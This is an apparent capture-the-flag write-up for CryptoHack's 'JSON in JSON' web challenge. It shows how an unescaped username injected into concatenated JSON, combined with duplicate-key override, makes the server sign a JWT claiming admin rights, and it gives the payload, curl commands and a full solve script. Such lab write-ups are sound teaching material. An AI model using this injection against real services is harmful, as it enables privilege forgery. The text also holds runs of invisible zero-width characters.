← Back to Writeups
CUSTOMMediumWeb

JSON in JSON

XESXOR9/2/20262 min read
#web#custom#medium#duplicate_key_override#json_injection#jwt_claim_forgery#server_side_signing_abuse

JSON in JSON

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: duplicate_key_override, json_injection, jwt_claim_forgery, server_side_signing_abuse

Summary

Walkthrough of the CUSTOM Web JSON in JSON. Task: PyJWT-based session endpoint builds JSON via raw string concatenation of an unsanitized username, parses it with json.loads, and signs it with the server secret. Solution: inject a duplicate "a

Description

"We've explored how flawed verification can break the security of JWTs, but it can sometimes be possible to exploit the code to sign unexpected data in the first place."

Challenge URL: https://web.cryptohack.org/json-in-json (contributed by sublevel_1157).

Goal: recover the FLAG by obtaining a JWT where admin == "True". This is not a verification/secret-cracking challenge — the trick is to make the server sign attacker-controlled claims.

Analysis

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The vulnerable source (note: uses PyJWT, not python-jwt):

python
@chal.route('/json-in-json/create_session/<username>/')
def create_session(username):
    body = '{' \
              + '"admin": "' + "False" \
              + '", "username": "' + str(username) \
              + '"}'
    encoded = jwt.encode(json.loads(body), SECRET_KEY, algorithm='HS256')
    return {"session": encoded}

@chal.route('/json-in-json/authorise/<token>/')
def authorise(token):
    decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
    if "admin" in decoded and decoded["admin"] == "True":
        return {"response": f"Welcome admin, here is your flag: {FLAG}"}
    ...

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Two flaws combine:

  1. JSON built by string concatenation. username is dropped verbatim into a JSON string literal with no escaping. An attacker can close the username string and append arbitrary JSON.
  2. Duplicate-key resolution. Python's json.loads keeps the last occurrence when a key appears twice. So injecting a second "admin" key overrides the hardcoded "False".

The signing happens server-side with the real SECRET_KEY, so the forged token verifies correctly in authorise. No key cracking needed — the server signs unexpected data for us. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

1. Craft the username payload

We want the final body to contain a second admin key:

  • Raw payload: x", "admin": "True
  • URL-encoded: x%22%2C%20%22admin%22%3A%20%22True

The server then constructs:

json
{"admin": "False", "username": "x", "admin": "True"}

After json.loads, duplicate-key resolution yields {"admin": "True", "username": "x"}.

2. Request the forged session

bash
curl -s "https://web.cryptohack.org/json-in-json/create_session/x%22%2C%20%22admin%22%3A%20%22True/"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response:

json
{"session":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6IlRydWUiLCJ1c2VybmFtZSI6IngifQ.ktCWANLIF-SulYAlWsbzBheUlsM5nFu6ZTXzetrqSNg"}

Decoding the middle segment confirms {"admin":"True","username":"x"}.

3. Submit to the authorise endpoint

bash
curl -s "https://web.cryptohack.org/json-in-json/authorise/<token>/"

Response:

json
{"response":"Welcome admin, here is your flag: crypto{REDACTED}"}

Full solve script

python
#!/usr/bin/env python3
import requests
from urllib.parse import quote
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE = "https://web.cryptohack.org/json-in-json"

# Inject a duplicate "admin":"True" key via the username field.
payload = 'x", "admin": "True'
username = quote(payload, safe='')

r = requests.get(f"{BASE}/create_session/{username}/")
token = r.json()["session"]
print("[+] forged token:", token)

r = requests.get(f"{BASE}/authorise/{token}/")
print("[+] response:", r.json())

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering duplicate_key_override, json_injection, jwt_claim_forgery, server_side_signing_abuse was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-21 • CUSTOM • JSON in JSON • Difficulty: Medium